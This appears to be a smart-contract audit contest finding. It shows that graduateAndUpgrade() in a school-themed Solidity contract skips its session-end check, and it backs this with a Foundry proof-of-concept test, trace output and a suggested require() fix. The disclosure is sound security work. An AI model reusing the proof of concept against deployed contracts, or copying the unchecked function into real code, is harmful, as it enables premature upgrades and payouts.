Submission Details
Severity:
Missing Session End Time Validation Allows Premature System Graduation
Summary
The graduateAndUpgrade() function in LevelOne.sol lacks a critical check to verify that the school session has actually ended (block.timestamp >= sessionEnd), allowing the principal to prematurely graduate students and upgrade the system before the intended 4-week session duration.
Vulnerability Details
In LevelOne.sol, while the sessionEnd is correctly set during session start:
function startSession(uint256 _cutOffScore) public onlyPrincipal notYetInSession {
sessionEnd = block.timestamp + 4 weeks;
inSession = true;
cutOffScore = _cutOffScore;
emit SchoolInSession(block.timestamp, sessionEnd);
}
The graduateAndUpgrade() function does not enforce this session end time:
function graduateAndUpgrade(address _levelTwo, bytes memory) public onlyPrincipal {
if (_levelTwo == address(0)) {
revert HH__ZeroAddress();
}
// ... payment logic ...
_authorizeUpgrade(_levelTwo);
}
This violates a key invariant stated in the README:
"System upgrade cannot take place unless school's
sessionEndhas reached"
POC
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
import {Test, console2} from "forge-std/Test.sol";
import {DeployLevelOne} from "../script/DeployLevelOne.s.sol";
import {LevelOne} from "../src/LevelOne.sol";
import {LevelTwo} from "../src/LevelTwo.sol";
import {MockUSDC} from "./mocks/MockUSDC.sol";
contract LevelOneAndGraduateTest is Test {
DeployLevelOne deployBot;
LevelOne levelOneProxy;
MockUSDC usdc;
address proxyAddress;
address principal;
address teacher;
address student;
uint256 schoolFees;
function setUp() public {
// Deploy contracts
deployBot = new DeployLevelOne();
proxyAddress = deployBot.deployLevelOne();
levelOneProxy = LevelOne(proxyAddress);
// Get deployment values
principal = deployBot.principal();
schoolFees = deployBot.getSchoolFees();
usdc = deployBot.getUSDC();
// Setup accounts
teacher = makeAddr("teacher");
student = makeAddr("student");
// Give student USDC for enrollment
usdc.mint(student, schoolFees);
// Add teacher
vm.prank(principal);
levelOneProxy.addTeacher(teacher);
}
function testPrematureGraduation() public {
// First enroll the student
vm.startPrank(student);
usdc.approve(address(levelOneProxy), schoolFees);
levelOneProxy.enroll();
vm.stopPrank();
// Then start the session
vm.prank(principal);
levelOneProxy.startSession(70); // Set cutoff score to 70
// Warp time forward by 1 week before giving review
vm.warp(block.timestamp + 1 weeks);
// Teacher gives one review
vm.prank(teacher);
levelOneProxy.giveReview(student, true); // true for good review
// Principal attempts premature graduation
vm.startPrank(principal);
address levelTwoImpl = address(new LevelTwo());
levelOneProxy.graduateAndUpgrade(levelTwoImpl, "");
vm.stopPrank();
// Verify premature graduation
assertTrue(
block.timestamp < levelOneProxy.sessionEnd(),
"Graduation occurred before session end"
);
// Additional assertions to verify the vulnerability
uint256 sessionEndTime = levelOneProxy.sessionEnd();
assertGt(
sessionEndTime,
block.timestamp,
"Session should not have ended yet"
);
assertEq(
sessionEndTime,
block.timestamp + 3 weeks,
"Session end time should be 3 weeks from now"
);
}
}
Test Output
Ran 1 test for test/testPrematureGraduation.t.sol:LevelOneAndGraduateTest
[PASS] testPrematureGraduation() (gas: 813907)
Traces:
[838607] LevelOneAndGraduateTest::testPrematureGraduation()
├─ [0] VM::startPrank(student: [0x29C333Ff20d076399617Aa0C800925CE947D82B8])
│ └─ ← [Return]
├─ [25298] MockUSDC::approve(ERC1967Proxy: [0x90193C961A926261B756D1E5bb255e67ff9498A1], 5000000000000000000000 [5e21])
│ ├─ emit Approval(owner: student: [0x29C333Ff20d076399617Aa0C800925CE947D82B8], spender: ERC1967Proxy: [0x90193C961A926261B756D1E5bb255e67ff9498A1], value: 5000000000000000000000 [5e21])
│ └─ ← [Return] true
├─ [159222] ERC1967Proxy::fallback()
│ ├─ [154251] LevelOne::enroll() [delegatecall]
│ │ ├─ [31619] MockUSDC::transferFrom(student: [0x29C333Ff20d076399617Aa0C800925CE947D82B8], ERC1967Proxy: [0x90193C961A926261B756D1E5bb255e67ff9498A1], 5000000000000000000000 [5e21])
│ │ │ ├─ emit Transfer(from: student: [0x29C333Ff20d076399617Aa0C800925CE947D82B8], to: ERC1967Proxy: [0x90193C961A926261B756D1E5bb255e67ff9498A1], value: 5000000000000000000000 [5e21])
│ │ │ └─ ← [Return] true
│ │ ├─ emit Enrolled(: student: [0x29C333Ff20d076399617Aa0C800925CE947D82B8])
│ │ └─ ← [Stop]
│ └─ ← [Return]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [0] VM::prank(principal: [0x6b9470599cb23a06988C6332ABE964d6608A50ca])
│ └─ ← [Return]
├─ [50532] ERC1967Proxy::fallback(70)
│ ├─ [50058] LevelOne::startSession(70) [delegatecall]
│ │ ├─ emit SchoolInSession(startTime: 1, endTime: 2419201 [2.419e6])
│ │ └─ ← [Stop]
│ └─ ← [Return]
├─ [0] VM::warp(604801 [6.048e5])
│ └─ ← [Return]
├─ [0] VM::prank(teacher: [0x8cA416e1767277ac261c7b8f5e28e6b9aa804488])
│ └─ ← [Return]
├─ [30511] ERC1967Proxy::fallback(student: [0x29C333Ff20d076399617Aa0C800925CE947D82B8], true)
│ ├─ [30034] LevelOne::giveReview(student: [0x29C333Ff20d076399617Aa0C800925CE947D82B8], true) [delegatecall]
│ │ ├─ emit ReviewGiven(student: student: [0x29C333Ff20d076399617Aa0C800925CE947D82B8], review: true, studentScore: 100)
│ │ └─ ← [Stop]
│ └─ ← [Return]
├─ [0] VM::startPrank(principal: [0x6b9470599cb23a06988C6332ABE964d6608A50ca])
│ └─ ← [Return]
├─ [445078] → new LevelTwo@0x83a4207Df92bA7f9DeD23D61A8802172740D7077
│ └─ ← [Return] 2223 bytes of code
├─ [61112] ERC1967Proxy::fallback(LevelTwo: [0x83a4207Df92bA7f9DeD23D61A8802172740D7077], 0x)
│ ├─ [60629] LevelOne::graduateAndUpgrade(LevelTwo: [0x83a4207Df92bA7f9DeD23D61A8802172740D7077], 0x) [delegatecall]
│ │ ├─ [25750] MockUSDC::transfer(teacher: [0x8cA416e1767277ac261c7b8f5e28e6b9aa804488], 1750000000000000000000 [1.75e21])
│ │ │ ├─ emit Transfer(from: ERC1967Proxy: [0x90193C961A926261B756D1E5bb255e67ff9498A1], to: teacher: [0x8cA416e1767277ac261c7b8f5e28e6b9aa804488], value: 1750000000000000000000 [1.75e21])
│ │ │ └─ ← [Return] true
│ │ ├─ [25750] MockUSDC::transfer(principal: [0x6b9470599cb23a06988C6332ABE964d6608A50ca], 250000000000000000000 [2.5e20])
│ │ │ ├─ emit Transfer(from: ERC1967Proxy: [0x90193C961A926261B756D1E5bb255e67ff9498A1], to: principal: [0x6b9470599cb23a06988C6332ABE964d6608A50ca], value: 250000000000000000000 [2.5e20])
│ │ │ └─ ← [Return] true
│ │ └─ ← [Stop]
│ └─ ← [Return]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [966] ERC1967Proxy::fallback() [staticcall]
│ ├─ [492] LevelOne::sessionEnd() [delegatecall]
│ │ └─ ← [Return] 2419201 [2.419e6]
│ └─ ← [Return] 2419201 [2.419e6]
├─ [0] VM::assertTrue(true, "Graduation occurred before session end") [staticcall]
│ └─ ← [Return]
├─ [966] ERC1967Proxy::fallback() [staticcall]
│ ├─ [492] LevelOne::sessionEnd() [delegatecall]
│ │ └─ ← [Return] 2419201 [2.419e6]
│ └─ ← [Return] 2419201 [2.419e6]
├─ [0] VM::assertGt(2419201 [2.419e6], 604801 [6.048e5], "Session should not have ended yet") [staticcall]
│ └─ ← [Return]
├─ [0] VM::assertEq(2419201 [2.419e6], 2419201 [2.419e6], "Session end time should be 3 weeks from now") [staticcall]
│ └─ ← [Return]
└─ ← [Stop]
Impact
The principal can graduate students before they complete their full 4-week session
Students may not receive all required weekly reviews (supposed to be 4 reviews)
The educational assessment process can be circumvented
Teachers might not have sufficient time to properly evaluate students
The integrity of the entire educational system is compromised
Tools Used
Manual review
Foundry testing framework (test files show graduation can occur without time constraints)
Recommendations
Add a session end time validation in the graduateAndUpgrade() function:
function graduateAndUpgrade(address _levelTwo, bytes memory) public onlyPrincipal {
if (_levelTwo == address(0)) {
revert HH__ZeroAddress();
}
require(block.timestamp >= sessionEnd, "Session not yet complete");
// ... rest of the function
}
Additionally, consider adding a check to verify that all students have received their required number of reviews before graduation.
Updates
Lead Judging Commences
yeahchibyke 5 months ago
Submission Judgement Published Assigned finding tags:
can graduate without session end
`graduateAndUpgrade()` can be called successfully even when the school session has not ended
yeahchibyke 5 months ago
Submission Judgement Published Assigned finding tags:
can graduate without session end
`graduateAndUpgrade()` can be called successfully even when the school session has not ended
Rewards breakdown
nSLOC
243This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
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